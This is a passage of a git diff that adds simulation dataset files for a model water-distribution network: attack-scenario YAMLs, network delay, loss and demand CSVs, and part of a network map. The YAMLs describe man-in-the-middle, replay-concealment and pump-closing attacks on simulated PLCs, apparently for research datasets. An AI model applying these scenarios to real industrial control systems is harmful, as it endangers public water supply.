00000000..0da8f2d9 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_05.yaml @@ -0,0 +1,17 @@ +network_attacks: +- name: plc9attack + type: mitm + target: PLC9 + tag: T7 + offset: 4.5 + trigger: + start: 1440 + end: 1812 + type: time + +- name: plc9conceal + type: unconstrained_blackbox_concealment_mitm + trigger: + start: 1440 + end: 1812 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_06.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_06.yaml new file mode 100644 index 00000000..d9367f8e --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_06.yaml @@ -0,0 +1,54 @@ +network_attacks: +- name: plc5attack1 + type: concealment_mitm + tags: + - tag: PU10 + offset: 0.0 + - tag: PU11 + offset: 0.0 + - tag: PU10F + offset: 0.0 + - tag: PU11F + offset: 0.0 + target: PLC5 + concealment_data: + type: payload_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time + +- name: plc9attack + type: concealment_mitm + tags: + - tag: T7 + offset: 0.0 + target: PLC9 + concealment_data: + type: payload_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time + +device_attacks: +- actuator: PU10 + command: closed + name: plc5attack2 + trigger: + start: 1440 + end: 1812 + type: time +- actuator: PU11 + command: closed + name: plc5attack3 + trigger: + start: 1440 + end: 1812 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_07.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_07.yaml new file mode 100644 index 00000000..4d64d731 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_07.yaml @@ -0,0 +1,54 @@ +network_attacks: +- name: plc5attack1 + type: concealment_mitm + tags: + - tag: PU10 + offset: 0.0 + - tag: PU11 + offset: 0.0 + - tag: PU10F + offset: 0.0 + - tag: PU11F + offset: 0.0 + target: PLC5 + concealment_data: + type: network_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time + +- name: plc9attack + type: concealment_mitm + tags: + - tag: T7 + offset: 0.0 + target: PLC9 + concealment_data: + type: network_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time + +device_attacks: +- actuator: PU10 + command: closed + name: plc5attack2 + trigger: + start: 1440 + end: 1812 + type: time +- actuator: PU11 + command: closed + name: plc5attack3 + trigger: + start: 1440 + end: 1812 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_08.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_08.yaml new file mode 100644 index 00000000..ba97495f --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_08.yaml @@ -0,0 +1,38 @@ +network_attacks: +- name: plc9attack + type: concealment_mitm + tags: + - tag: T7 + offset: 5.0 + target: PLC9 + concealment_data: + type: payload_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time + +- name: plc5attack + type: concealment_mitm + tags: + - tag: PU10 + offset: 0.0 + - tag: PU11 + offset: 0.0 + - tag: PU10F + offset: 0.0 + - tag: PU11F + offset: 0.0 + target: PLC5 + concealment_data: + type: payload_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_09.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_09.yaml new file mode 100644 index 00000000..a7bd617c --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_09.yaml @@ -0,0 +1,38 @@ +network_attacks: +- name: plc9attack + type: concealment_mitm + tags: + - tag: T7 + offset: 5.0 + target: PLC9 + concealment_data: + type: network_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time + +- name: plc5attack + type: concealment_mitm + tags: + - tag: PU10 + offset: 0.0 + - tag: PU11 + offset: 0.0 + - tag: PU10F + offset: 0.0 + - tag: PU11F + offset: 0.0 + target: PLC5 + concealment_data: + type: network_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_10.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_10.yaml new file mode 100644 index 00000000..0da8f2d9 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_10.yaml @@ -0,0 +1,17 @@ +network_attacks: +- name: plc9attack + type: mitm + target: PLC9 + tag: T7 + offset: 4.5 + trigger: + start: 1440 + end: 1812 + type: time + +- name: plc9conceal + type: unconstrained_blackbox_concealment_mitm + trigger: + start: 1440 + end: 1812 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_11.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_11.yaml new file mode 100644 index 00000000..132a8075 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_11.yaml @@ -0,0 +1,16 @@ +network_attacks: +- name: plc2attack + type: concealment_mitm + tags: + - tag: T1 + value: 0.0 + target: PLC2 + concealment_data: + type: payload_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_12.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_12.yaml new file mode 100644 index 00000000..bbe8125c --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_12.yaml @@ -0,0 +1,16 @@ +network_attacks: +- name: plc2attack + type: concealment_mitm + tags: + - tag: T1 + value: 0.0 + target: PLC2 + concealment_data: + type: network_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_13.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_13.yaml new file mode 100644 index 00000000..a394a389 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_13.yaml @@ -0,0 +1,17 @@ +network_attacks: +- name: plc2attack + type: mitm + target: PLC2 + tag: T1 + value: 0.0 + trigger: + start: 1440 + end: 1812 + type: time + +- name: plc2conceal + type: unconstrained_blackbox_concealment_mitm + trigger: + start: 1440 + end: 1812 + type: time \ No newline at end of file diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_14.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_14.yaml new file mode 100644 index 00000000..8e2c3d2d --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_14.yaml @@ -0,0 +1,42 @@ +network_attacks: +- name: plc1attack1 + type: concealment_mitm + tags: + - tag: PU1 + offset: 0.0 + - tag: PU2 + offset: 0.0 + - tag: PU1F + offset: 0.0 + - tag: PU12F + offset: 0.0 + - tag: J269 + offset: 0.0 + - tag: J280 + offset: 0.0 + target: PLC1 + concealment_data: + type: payload_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time + +- name: plc2attack + type: concealment_mitm + tags: + - tag: T1 + value: 0.0 + target: PLC2 + concealment_data: + type: payload_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time diff --git a/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_15.yaml b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_15.yaml new file mode 100644 index 00000000..17ebcf4d --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/dataset_attacks/attack_15.yaml @@ -0,0 +1,42 @@ +network_attacks: +- name: plc1attack1 + type: concealment_mitm + tags: + - tag: PU1 + offset: 0.0 + - tag: PU2 + offset: 0.0 + - tag: PU1F + offset: 0.0 + - tag: PU12F + offset: 0.0 + - tag: J269 + offset: 0.0 + - tag: J280 + offset: 0.0 + target: PLC1 + concealment_data: + type: network_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time + +- name: plc2attack + type: concealment_mitm + tags: + - tag: T1 + value: 0.0 + target: PLC2 + concealment_data: + type: network_replay + capture_start: 300 + capture_end: 672 + replay_start: 1440 + trigger: + start: 295 + end: 1820 + type: time diff --git a/examples/ctown_topology/dataset/dataset_config_files/events/delay_ctown_01.csv b/examples/ctown_topology/dataset/dataset_config_files/events/delay_ctown_01.csv new file mode 100644 index 00000000..e6ee1b9f --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/events/delay_ctown_01.csv @@ -0,0 +1,2 @@ +PLC1,PLC2,PLC3,PLC4,PLC5,PLC6,PLC7,PLC8,PLC9,scada +14.23972092,4.613175298,11.07260256,8.128266119,7.112143035,14.85580728,3.766769773,11.92157224,9.666322031,3.067014259 diff --git a/examples/ctown_topology/dataset/dataset_config_files/events/demands_ctown_01.csv b/examples/ctown_topology/dataset/dataset_config_files/events/demands_ctown_01.csv new file mode 100644 index 00000000..aafae00a --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/events/demands_ctown_01.csv @@ -0,0 +1,169 @@ +DMA1_pat,DMA2_pat,DMA3_pat,DMA4_pat,DMA5_pat +0.383354513,0.457999858,0.389629062,0.409927638,0.396733023 +0.330367774,0.377787056,0.336103894,0.348694785,0.368204608 +0.304066302,0.357592647,0.307752953,0.333982757,0.322915012 +0.419758237,0.341449305,0.342157118,0.386771623,0.316765994 +0.42380608,0.445430433,0.421019754,0.443981613,0.47562038 +0.566312646,0.548577917,0.566997006,0.551831484,0.62790919 +0.840193179,0.725347591,0.843488147,0.8477458,0.790328746 +0.820045453,0.832788819,0.876689738,0.900777644,0.974537077 +0.955334667,0.900945893,0.96372438,0.829163031,0.887963179 +0.790444823,0.846390572,0.702335234,0.779826289,0.827165311 +0.808670101,0.824832407,0.730321292,0.742849385,0.781646532 +0.70437278,0.800150777,0.74654152,0.689903726,0.836152655 +0.682844132,0.679164912,0.55456198,0.68437036,0.623711513 +0.634505173,0.578753246,0.536609802,0.620411183,0.559051501 +0.564622828,0.635528771,0.497402137,0.58427114,0.542108727 +0.596271173,0.678667982,0.652899451,0.615400037,0.628886802 +0.723729758,0.741020786,0.599314053,0.639125356,0.758554766 +0.57922181,0.68103644,0.649881196,0.676355566,0.630944507 +0.651825357,0.759467419,0.677132704,0.775157539,0.637878327 +0.694747338,0.747170111,0.678892827,0.689776803,0.670989887 +0.722334307,0.610825228,0.565685256,0.569981647,0.664454079 +0.517162554,0.553583198,0.500135071,0.483541679,0.542014433 +0.475550904,0.444906418,0.475300662,0.426845717,0.477917203 +0.59977986,0.621609679,0.609660141,0.768809251,0.503494377 +0.505763429,0.521462043,0.539880646,0.52942811,0.391962451 +0.358568608,0.305108409,0.351569825,0.371941016,0.370270386 +0.349310212,0.35019746,0.337868967,0.365548557,0.318249909 +0.334517296,0.305140469,0.40663667,0.378061211,0.361974184 +0.478326749,0.483165812,0.545837876,0.429085594,0.421136295 +0.567796655,0.64012323,0.608737008,0.562290889,0.613243354 +0.814249923,0.668484386,0.818297542,0.811195575,0.750999721 +0.928225205,0.882827629,0.940310202,0.830370268,0.923283207 +0.938938016,0.861429922,0.872104219,0.84713631,0.820561744 +0.821223379,0.809064854,0.80925473,0.788537239,0.971109471 +0.665333422,0.773394191,0.791813945,0.754628834,0.78050589 +0.698303843,0.634099695,0.655155915,0.736373339,0.804096804 +0.702305641,0.611797066,0.649820907,0.703502839,0.734709012 +0.657813384,0.65086232,0.658971505,0.638302544,0.649335273 +0.560431241,0.58406264,0.55924451,0.602697044,0.611299124 +0.679304289,0.579674636,0.594182138,0.584879315,0.550680789 +0.666202691,0.774238506,0.679517888,0.634341837,0.662528245 +0.720295692,0.733625859,0.757113094,0.714707757,0.698216096 +0.707453642,0.69652972,0.683646093,0.687731719,0.700945004 +0.668072892,0.73375937,0.688542051,0.739809824,0.585058639 +0.670635054,0.609461501,0.605796463,0.649745826,0.617349616 +0.541335547,0.525201074,0.503746117,0.5147405,0.511609436 +0.490082392,0.514405318,0.517597953,0.463140151,0.398009802 +0.5647664,0.639423298,0.807621249,0.546476102,0.494825565 +0.492113694,0.471405002,0.550796607,0.514765798,0.480579518 +0.317757556,0.347961926,0.31930793,0.335225552,0.327324419 +0.348228176,0.376524938,0.299439926,0.357638099,0.341082438 +0.404719205,0.379559818,0.435903909,0.364813398,0.408441821 +0.42863009,0.445507738,0.478618213,0.400329569,0.409295487 +0.642567903,0.577199562,0.545525557,0.65077864,0.518854575 +0.842642669,0.756880004,0.913556237,0.848443905,0.775746055 +0.895335341,1.016110292,0.882019315,0.928842396,0.975898686 +0.888034638,0.886350518,1.004772467,0.955002966,0.942904159 +0.84752379,0.826718266,0.848523171,0.815091052,0.830800931 +0.752445787,0.692285939,0.664095069,0.697180205,0.643924633 +0.686524532,0.765249949,0.65206427,0.670050507,0.693799289 +0.626483052,0.640605794,0.67296222,0.709390955,0.762137487 +0.626484302,0.612133766,0.628176849,0.53958376,0.618031586 +0.708995158,0.640744778,0.591111498,0.566581989,0.612899012 +0.669365288,0.56467005,0.61835053,0.581700885,0.598230559 +0.742653151,0.717826744,0.68523925,0.618624627,0.619625547 +0.735633287,0.732227711,0.750716378,0.680928628,0.714126125 +0.70321115,0.676000638,0.672145219,0.630708953,0.633259587 +0.676698487,0.688889984,0.656798638,0.602761451,0.641048397 +0.630661505,0.642267146,0.605566864,0.557045428,0.606571893 +0.543556324,0.524831161,0.563693554,0.543151855,0.543999746 +0.436829429,0.510244035,0.416359014,0.441843234,0.49801547 +0.507926935,0.574396005,0.654018151,0.499709995,0.430286996 +0.493951352,0.480568452,0.57369387,0.51334308,0.526094261 +0.388072602,0.392124855,0.350332838,0.342695687,0.287416852 +0.348132473,0.339114226,0.312300315,0.354261571,0.341406308 +0.320022346,0.363393773,0.350142353,0.363431353,0.397133577 +0.413352877,0.418452314,0.467108832,0.474732551,0.38683021 +0.583949001,0.626004438,0.596067717,0.521954326,0.596942656 +0.897206159,0.853083556,0.851669057,0.935882627,0.860703968 +0.935035352,0.871269679,0.882475383,0.998168221,0.994216586 +0.80632141,0.860905469,0.921091617,0.929820858,0.943028419 +0.756997825,0.897515623,0.741307098,0.711614583,0.845481037 +0.62940303,0.708852786,0.690188678,0.75404491,0.770073622 +0.649872707,0.720675216,0.72940416,0.813770608,0.775466677 +0.616495894,0.690335092,0.697131688,0.620157506,0.712665478 +0.65174645,0.563256379,0.5503587,0.556217414,0.585751959 +0.666171907,0.700540831,0.529377297,0.625107237,0.592145758 +0.680534901,0.666954831,0.574997202,0.582349442,0.65793054 +0.696011944,0.690833522,0.583794097,0.649175838,0.586019702 +0.730092599,0.766902753,0.63434494,0.669363948,0.732267042 +0.712372077,0.741709043,0.751233452,0.661636434,0.677723971 +0.62737762,0.614070669,0.6115616,0.637467091,0.668320736 +0.635333753,0.630124867,0.667426222,0.593257491,0.628372432 +0.565025286,0.563935518,0.521536474,0.519955971,0.454419278 +0.506425938,0.454699408,0.474121615,0.452888657,0.439257353 +0.591146033,0.645824248,0.597067501,0.556932265,0.444455173 +0.500194011,0.507054343,0.562666068,0.454876928,0.453263883 +0.298360897,0.34324622,0.304404623,0.408181203,0.310913539 +0.371447808,0.347429126,0.318338877,0.337877235,0.302815339 +0.3449433,0.419338193,0.359609964,0.376976126,0.356925044 +0.398567624,0.424788899,0.352923868,0.430004555,0.438200876 +0.655764774,0.670420221,0.559555526,0.598158445,0.657221529 +0.766067572,0.853234075,0.827158235,0.750262182,0.723619572 +0.88671364,0.907877588,0.904170128,0.908466032,0.92351798 +0.985250826,0.955706847,0.904913477,0.770673702,1.013513135 +0.807324184,0.798122513,0.8976015,0.811676847,0.885055951 +0.72952072,0.666357007,0.661101166,0.679025903,0.764483025 +0.69308738,0.72622343,0.800030036,0.63647667,0.756077828 +0.636759227,0.683569713,0.744110418,0.674845012,0.734977439 +0.604733122,0.557162336,0.615305771,0.607691864,0.608213742 +0.63939304,0.654641291,0.550544355,0.641046415,0.656497346 +0.507637241,0.598562134,0.590366921,0.575603095,0.67135406 +0.698182812,0.736589428,0.679838974,0.645433408,0.728700982 +0.67211218,0.694930823,0.680644618,0.615385466,0.655666737 +0.694550095,0.72380044,0.633672978,0.655200374,0.577206125 +0.689184228,0.771646215,0.62868474,0.686360272,0.584038536 +0.584772738,0.637700283,0.61105705,0.650120569,0.606119805 +0.556568183,0.505010765,0.500814402,0.572333776,0.542498906 +0.420995403,0.513925255,0.498090441,0.487365686,0.430386291 +0.468442886,0.692657731,0.533815402,0.431540184,0.49333926 +0.445916772,0.555155474,0.491147156,0.457390825,0.480280887 +0.325794556,0.330581227,0.324055288,0.338482978,0.363080951 +0.319305992,0.357035342,0.313374924,0.303981651,0.416111252 +0.380403541,0.39373863,0.346554555,0.354946471,0.354235311 +0.389667934,0.504145949,0.417019544,0.45506151,0.425721804 +0.557399627,0.677608578,0.622726342,0.670814383,0.540435649 +0.781574062,0.739971215,0.71588648,0.781162586,0.697263494 +0.894660141,0.873094738,0.830099248,0.797492998,0.896987089 +0.908151746,0.816352599,0.798219636,0.942687979,0.876369607 +0.874671923,0.790025934,0.842118131,0.821455531,0.916737102 +0.765874488,0.766306893,0.758265496,0.741561065,0.809613022 +0.693168197,0.744838266,0.825493531,0.57666147,0.77209204 +0.690621209,0.696030635,0.728886821,0.740321457,0.678233825 +0.60445349,0.55310315,0.615527885,0.651885868,0.58119951 +0.596133202,0.70929207,0.54294205,0.65874071,0.581193419 +0.677544173,0.662803979,0.673395701,0.657656754,0.578251915 +0.680994208,0.605436446,0.689951387,0.67148992,0.619240097 +0.780920728,0.606566486,0.705658457,0.658139814,0.660043332 +0.701382367,0.81854871,0.778565226,0.660693038,0.805996049 +0.732685593,0.66238749,0.690479218,0.755417192,0.619792973 +0.604463612,0.578757344,0.582504413,0.587129916,0.529823327 +0.593645009,0.609372748,0.531548532,0.540560702,0.499442126 +0.479805337,0.486953968,0.429780664,0.415512929,0.417770064 +0.550715431,0.602592828,0.552289293,0.446060431,0.427490039 +0.485099057,0.497351541,0.487114885,0.423742037,0.451457508 +0.321259581,0.350043473,0.326103506,0.292531136,0.333299888 +0.312517121,0.339846096,0.326565466,0.389546489,0.313469283 +0.416672189,0.350794026,0.415022098,0.3413903,0.415097703 +0.483970825,0.416620633,0.416699632,0.425269349,0.433901177 +0.689404215,0.588835663,0.601048932,0.651582258,0.564602254 +0.752298986,0.738813667,0.761551022,0.774149548,0.705986188 +0.940111278,0.931373789,0.856724564,0.894765676,0.928693739 +0.903150662,0.94475097,0.818925623,0.912793203,0.920022275 +0.787941661,0.807243496,0.831451796,0.832648626,0.79809171 +0.801041778,0.781209201,0.740884371,0.77244565,0.812422037 +0.730413801,0.664283783,0.661313103,0.697618854,0.879643639 +0.607250377,0.637504479,0.641504367,0.653167192,0.791669748 +0.529091642,0.570926026,0.618488378,0.56065755,0.570571738 +0.565326654,0.560376138,0.708449215,0.641316067,0.628282384 +0.60481102,0.555917901,0.594826804,0.644828366,0.572253183 +0.707619602,0.61784121,0.686762853,0.688421886,0.551779733 +0.730938032,0.659957345,0.587896562,0.674872512,0.702284845 +0.733998007,0.647833315,0.787141105,0.675368589,0.728109267 +0.684307602,0.557946515,0.678921728,0.697441566,0.639265194 +0.613425334,0.650039077,0.52699074,0.569771601,0.631485224 +0.559385119,0.551209469,0.507310847,0.622925561,0.468229136 +0.489535782,0.44427915,0.445793119,0.482044675,0.48924297 +0.451920277,0.550558913,0.526281475,0.442866851,0.439423004 diff --git a/examples/ctown_topology/dataset/dataset_config_files/events/loss_ctown_01.csv b/examples/ctown_topology/dataset/dataset_config_files/events/loss_ctown_01.csv new file mode 100644 index 00000000..d556aefd --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/events/loss_ctown_01.csv @@ -0,0 +1,2 @@ +PLC1,PLC2,PLC3,PLC4,PLC5,PLC6,PLC7,PLC8,PLC9,scada +0.041547695,0.04920543,0.028836746,0.020626835,0.026423415,0.017022787,0.024766907,0.042542328,0.011252183,0.041232546 diff --git a/examples/ctown_topology/dataset/dataset_config_files/events/tanks_ctown_01.csv b/examples/ctown_topology/dataset/dataset_config_files/events/tanks_ctown_01.csv new file mode 100644 index 00000000..6ad50a14 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_config_files/events/tanks_ctown_01.csv @@ -0,0 +1,2 @@ +T1,T2,T3,T4,T5,T6,T7 +5.03684847,4.983032164,4.669619341,4.263891087,4.06813335,2.452301319,2.060531977 diff --git a/examples/ctown_topology/dataset/dataset_normal_operating_conditions/create_files.sh b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/create_files.sh new file mode 100644 index 00000000..4ce7fa15 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/create_files.sh @@ -0,0 +1,5 @@ +#!/bin/bash + +for n in $(seq 1 154) ; do + cp $1.yaml $1_$n.yaml +done diff --git a/examples/ctown_topology/dataset/dataset_normal_operating_conditions/ctown_config.yaml b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/ctown_config.yaml new file mode 100644 index 00000000..bd0666f9 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/ctown_config.yaml @@ -0,0 +1,12 @@ +inp_file: ctown_map.inp +iterations: 2880 +network_topology_type: complex +plcs: !include ctown_plcs.yaml +batch_simulations: 53 +initial_tank_data: initial_tank_levels.csv +demand_patterns: demand_patterns/ +network_loss_data: network_loss_data.csv +network_delay_data: network_delay_data.csv +simulator: epynet +demand: pdd +#log_level: debug diff --git a/examples/ctown_topology/dataset/dataset_normal_operating_conditions/ctown_map.inp b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/ctown_map.inp new file mode 100644 index 00000000..bfc61a14 --- /dev/null +++ b/examples/ctown_topology/dataset/dataset_normal_operating_conditions/ctown_map.inp @@ -0,0 +1,1650 @@ +[TITLE] + + +[JUNCTIONS] +;ID Elev Demand Pattern + J511 105.08 1.175912 DMA2_pat ; + J411 8.95 .8890401 DMA1_pat ; + J414 34.36 .9658645 DMA1_pat ; + J415 65 0 ; + J416 42.6 0 ; + J417 37.38 1.291233 DMA1_pat ; + J418 37.39 0 ; + J419 40.5 0 ; + J310 51.84 1.357483 DMA4_pat ; + J311 55.95 1.18173 DMA4_pat ; + J312 68.48 7.558805E-02 DMA4_pat ; + J313 67.66 .6900545 DMA4_pat ; + J314 14.94 1.437699 DMA1_pat ; + J315 16.03 1.317467 DMA1_pat ; + J316 12.98 .6225603 DMA1_pat ; + J318 53.67 1.603255 DMA4_pat ; + J319 39.29 1.45241 DMA4_pat ; + J210 7.01 9.372806E-02 DMA1_pat ; + J211 11.27 1.582595 DMA1_pat ; + J212 7.87 .6066978 DMA1_pat ; + J214 8.67 .8747806 DMA1_pat ; + J217 10.98 1.27852 DMA1_pat ; + J218 7.68 8.917417E-02 DMA1_pat ; + J219 52 .9874303 DMA5_pat ; + J110 15.92 .781167 DMA1_pat ; + J420 39.99 0 ; + J421 37.09 1.037828 DMA1_pat ; + J422 38.81 0 ; + J1153 22.14 .439655 DMA1_pat ; + J1154 14.61 .46557 DMA1_pat ; + J1155 15.54 1.383003 DMA1_pat ; + J425 64.42 0 ; + J426 72.71 0 ; + J1157 22.21 1.643489 DMA1_pat ; + J427 67.65 0 ; + J1158 28.25 .37811 DMA1_pat ; + J428 16.2 1.158526 DMA1_pat ; + J429 12.56 1.633339 DMA1_pat ; + J320 46.73 .4065523 DMA4_pat ; + J321 44.59 .8897884 DMA4_pat ; + J322 48.02 .1772828 DMA4_pat ; + J324 42.38 1.665691 DMA4_pat ; + J1056 7.64 1.12696 DMA1_pat ; + J327 49.68 2.617306E-02 DMA4_pat ; + J1058 13.58 .9586397 DMA1_pat ; + J328 45.69 .1667536 DMA4_pat ; + J329 44.05 .1717045 DMA4_pat ; + J220 80 1.331474 DMA5_pat ; + J221 97.07 .4741339 DMA4_pat ; + J225 13.33 7.608195E-02 DMA1_pat ; + J226 11.1 .4929547 DMA1_pat ; + J50 71.8 .6366845 DMA4_pat ; + J51 77.42 .5016175 DMA4_pat ; + J53 85 1.580952 DMA5_pat ; + J54 80 1.633049 DMA5_pat ; + J128 85.26 .6689573 DMA2_pat ; + J55 71 .4638 DMA5_pat ; + J129 62.85 .2674025 DMA2_pat ; + J56 72 .2713695 DMA5_pat ; + J57 59 1.077645 DMA5_pat ; + J58 76 .6834553 DMA5_pat ; + J59 57 .6879447 DMA5_pat ; + J1160 24.91 1.187884 DMA1_pat ; + J1161 25.25 .543677 DMA1_pat ; + J431 16.9 1.055298 DMA1_pat ; + J432 19.88 .3459353 DMA1_pat ; + J433 27.35 .3100225 DMA1_pat ; + J434 16.48 .9722651 DMA1_pat ; + J435 12.15 .1345244 DMA1_pat ; + J436 17.68 .7632859 DMA1_pat ; + J438 10.43 1.50955 DMA1_pat ; + J1169 55.42 .4356139 DMA3_pat ; + J439 17.78 1.308687 DMA1_pat ; + J330 58.25 .6315042 DMA4_pat ; + J331 59.26 .482775 DMA4_pat ; + J332 44.18 1.324 DMA1_pat ; + J333 25.7 1.052904 DMA1_pat ; + J334 29.28 1.04607 DMA1_pat ; + J335 25.08 .7140939 DMA1_pat ; + J336 23.81 .1632897 DMA1_pat ; + J337 22.11 .935067 DMA1_pat ; + J231 71.9 1.157476 DMA4_pat ; + J232 69.81 1.522863 DMA4_pat ; + J233 74.23 0 ; + J234 64.06 .03 DMA2_pat ; + J236 58 .9056011 DMA5_pat ; + J237 73.14 1.52694 DMA5_pat ; + J130 54.52 .717102 DMA2_pat ; + J131 88.05 1.129913 DMA2_pat ; + J132 74.55 .8374234 DMA2_pat ; + J133 69.58 .8562292 DMA2_pat ; + J60 55 .7716334 DMA5_pat ; + J134 80.7 .5891212 DMA2_pat ; + J135 70 .6747236 DMA2_pat ; + J62 60 .4495525 DMA5_pat ; + J64 82 9.265584E-02 DMA5_pat ; + J65 82 .4064086 DMA5_pat ; + J66 72 1.631797 DMA5_pat ; + J67 81 .1015269 DMA5_pat ; + J68 73 .6504859 DMA5_pat ; + J69 71 .6083255 DMA5_pat ; + J1170 54.54 .8164911 DMA3_pat ; + J441 69 0 ; + J444 29.46 .7907653 DMA1_pat ; + J341 14.89 .4287795 DMA1_pat ; + J344 54.7 1.04792 DMA3_pat ; + J345 49.97 .9034503 DMA3_pat ; + J347 54.4 .2605036 DMA3_pat ; + J348 62.18 1.564242 DMA4_pat ; + J349 36.41 1.090832 DMA4_pat ; + J241 70 .8434789 DMA5_pat ; + J242 65 .6507859 DMA5_pat ; + J243 60 .1789589 DMA5_pat ; + J244 70 1.306659 DMA5_pat ; + J245 71 .7660681 DMA5_pat ; + J246 55 1.256147 DMA5_pat ; + J247 57 .9934909 DMA5_pat ; + J248 54 1.387884 DMA5_pat ; + J249 50 3.126389E-02 DMA5_pat ; + J142 5.53 .3506145 DMA1_pat ; + J143 6.3 .1232556 DMA1_pat ; + J70 70 .1757545 DMA5_pat ; + J144 4.17 .5528242 DMA1_pat ; + J71 77 .2137497 DMA5_pat ; + J72 75 4.019444E-04 DMA5_pat ; + J73 80 .8946567 DMA5_pat ; + J74 75 1.095092 DMA5_pat ; + J76 70 .9066901 DMA5_pat ; + J77 76 1.37902 DMA5_pat ; + J78 60.56 .1364892 DMA4_pat ; + J350 33.82 .3198709 DMA3_pat ; + J351 25.51 1.131522 DMA4_pat ; + J352 47.55 .7570131 DMA4_pat ; + J353 22.64 .5950387 DMA4_pat ; + J354 18.68 .2499683 DMA4_pat ; + J355 28.87 1.173993 DMA4_pat ; + J358 22.3 1.547977 DMA4_pat ; + J359 17.57 .8836875 DMA4_pat ; + J250 67 .1494022 DMA5_pat ; + J251 75.19 1.262882 DMA2_pat ; + J252 83.82 .6697367 DMA2_pat ; + J253 74.69 .7697906 DMA2_pat ; + J254 74.59 .8202762 DMA2_pat ; + J257 105.58 .3460456 DMA2_pat ; + J154 43.69 .54956 DMA1_pat ; + J155 44.41 .1590483 DMA1_pat ; + J82 70.87 .9829875 DMA4_pat ; + J156 56.16 .2831225 DMA1_pat ; + J83 61.07 1.546028 DMA4_pat ; + J84 43.82 .1632164 DMA5_pat ; + J85 45 .7397709 DMA5_pat ; + J159 37.41 .4549114 DMA1_pat ; + J86 50 1.454245 DMA5_pat ; + J87 42.63 1.251146 DMA5_pat ; + J89 68.29 .4549039 DMA2_pat ; + J360 20.71 1.122745 DMA4_pat ; + J361 26.67 .427715 DMA4_pat ; + J362 43.66 .1498275 DMA4_pat ; + J363 72.23 0 ; + J364 65 0 ; + J365 29.83 1.316882 DMA1_pat ; + J366 14.46 .49543 DMA1_pat ; + J1208 42.74 .392137 DMA4_pat ; + J367 13.6 .8007911 DMA1_pat ; + J369 20.27 .4243364 DMA1_pat ; + J160 43.69 .5676775 DMA1_pat ; + J161 22.81 7.488973E-02 DMA1_pat ; + J162 36.88 .8040467 DMA1_pat ; + J163 16.2 .343362 DMA1_pat ; + J164 17.34 1.440891 DMA1_pat ; + J91 64.09 .9810478 DMA2_pat ; + J165 16.69 1.258181 DMA1_pat ; + J166 23.95 1.546472 DMA1_pat ; + J167 23.91 .5516948 